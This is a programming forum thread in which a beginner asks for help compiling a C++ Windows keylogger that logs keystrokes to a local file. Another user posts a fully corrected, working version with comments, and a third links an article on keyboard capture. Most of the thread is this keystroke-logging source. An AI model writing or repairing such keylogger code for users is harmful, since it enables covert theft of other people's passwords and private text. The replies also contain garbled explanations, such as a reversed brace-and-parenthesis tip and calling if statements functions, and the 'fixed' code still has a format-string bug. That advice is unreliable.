Keylogger Code Malfunctioning

Hi everyone! So I just started writing code tonight, using Youtube to help me learn, and one of the easier codes i came across was a Keylogger, so i decided to make one.

A few hours later, I have it all typed up and i try compiling it, but Dev doesn't like a few lines of it.

This IS my first time writing code, so i'm not quite up on all the lingo, so bear with me if i don't understand something.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>

int Save (int key_stroke, char *file);

int main ()
(
    char i;
    
    while (1)
    (
          for (i = 8; i <= 190; i++)
          (
          if (GetAsyncKeyState(i) == -32767)
          Save (i,"LOG.TXT");
          )
)      
    system ("Pause");
    return 0;
)
/* ********************** */
/* ********************** */
int save (int Key_stroke, char *file)
(
    if ( (key_stroke == 1) || (key_stroke == 2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;
    
    if (key_stroke == 8)
    fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]");
       else if (key_stroke == 13)
    fprintf (OUTPUT_FILE, "%s", "[/n]");
       else if (key_stroke == 32)
    fprintf (OUTPUT_FILE, "%s", " ");
       else if (key_stroke == VK_TAB)
    fprintf (OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
    fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
     else if (key_stroke == VK_CONTROL)
    fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
    fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
    fprintf (OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
    fprintf (OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
    fprintf (OUTPUT_FILE, "%s", "[LEFT]";
    else if (key_stroke == VK_RIGHT)
    fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_UP)
    fprintf (OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_DOWN)
    fprintf (OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf (OUTPUT_FILE, "%s", " . ");
    fprintf (OUTPUT_FILE, "%s", &key_stroke);
    fclose (OUTPUT_FILE);
    return 0;
)


Thank you!
Last edited on
This is how you declare a function int funct(arg); replace curly braces with parenthesis.
ah, i thought there was something wierd about that. ill change it and LYK how it goes. thanks!
okay, updated, but the code still doesnt work :(
Firstly, why would you start to learn not only C++, but *CODE* starting with a keylogger? It's not a very effective way to start learning...

Oh, boy. This is really bad. You're using the curly brackets at inappropriate spots.

The 'invalid function declaration' means that the function that you're trying to create cannot be done with those symbols. Instead, you must use int main() for int main {} because that is how functions are declared.

If statements are declared in the same manner, as they are a function.

Also, using namespace std; isn't a good idea because it's considered bad practice.

System pause is also bad because it's a huge hole in security.

Here is the corrected code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#define _CRT_SECURE_NO_DEPRECATE //placed for unsafe warnings of fopen

#include <iostream>
#include <Windows.h>
#include <WinUser.h>

int Save (int key_stroke, char *file); 

int main()
{
    char i;
    
    while (1) //consider an option to close console rather than keep looping forever
    {
          for (i = 8; i <= 190; i++)
          {
			if (GetAsyncKeyState(i) == -32767) 
			{
				Save (i,"LOG.TXT");
			}
          }
	}      
    std::cin.get();		//instead of sys pause, although will never occur because of the 
    return 0;			//infinite while loop
}
/* ********************** */
/* ********************** */

//changed "Key_stroke" to "key_stroke" 
//also changed 's' to 'S' because that's how function was defined (line 7)
int Save (int key_stroke, char *file) 
{
    if (key_stroke == 1|| key_stroke == 2)
    {
		return 0;
	}
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+"); //#define used to prevent warning (at top)
    std::cout << key_stroke << std::endl; //using std::<whatever> instead of namespace
    
	//changed format to reduce lines
    if (key_stroke == 8) fprintf (OUTPUT_FILE, "%s", "[BACKSPACE]"); 
		else if (key_stroke == 13) fprintf (OUTPUT_FILE, "%s", "[/n]");
		else if (key_stroke == 32) fprintf (OUTPUT_FILE, "%s", " ");
		else if (key_stroke == VK_TAB) fprintf (OUTPUT_FILE, "%s", "[TAB]");
		else if (key_stroke == VK_SHIFT) fprintf (OUTPUT_FILE, "%s", "[SHIFT]");
		else if (key_stroke == VK_CONTROL) fprintf (OUTPUT_FILE, "%s", "[CONTROL]");
		else if (key_stroke == VK_ESCAPE) fprintf (OUTPUT_FILE, "%s", "[ESCAPE]");
		else if (key_stroke == VK_END) fprintf (OUTPUT_FILE, "%s", "[END]");
		else if (key_stroke == VK_HOME) fprintf (OUTPUT_FILE, "%s", "[HOME]");
		else if (key_stroke == VK_LEFT) fprintf (OUTPUT_FILE, "%s", "[LEFT}");
		else if (key_stroke == VK_RIGHT) fprintf (OUTPUT_FILE, "%s", "[RIGHT]");
		else if (key_stroke == VK_UP) fprintf (OUTPUT_FILE, "%s", "[UP]");
		else if (key_stroke == VK_DOWN) fprintf (OUTPUT_FILE, "%s", "[DOWN]");
		else if (key_stroke == 190 || key_stroke == 110) fprintf (OUTPUT_FILE, "%s", " . ");
		
		//corrected logic error
		else fprintf (OUTPUT_FILE, "%s", &key_stroke);

		fclose (OUTPUT_FILE); //always closes despite any conditionals
		return 0;
}
Last edited on
oh wow! thank you :D really appreciate it, ill look over this and make sure to do a better job in the future. thank you!!!!
Check the post again. I had to make some changes because I made a few typos and logic errors (facepalm moments).
I hope this article of mine might be of help to you
http://www.codeproject.com/Articles/635134/Target-Eye-Revealed-part-4-Keyboard-Capturing

regards,

Michael Haephrati
Topic archived. No new replies allowed.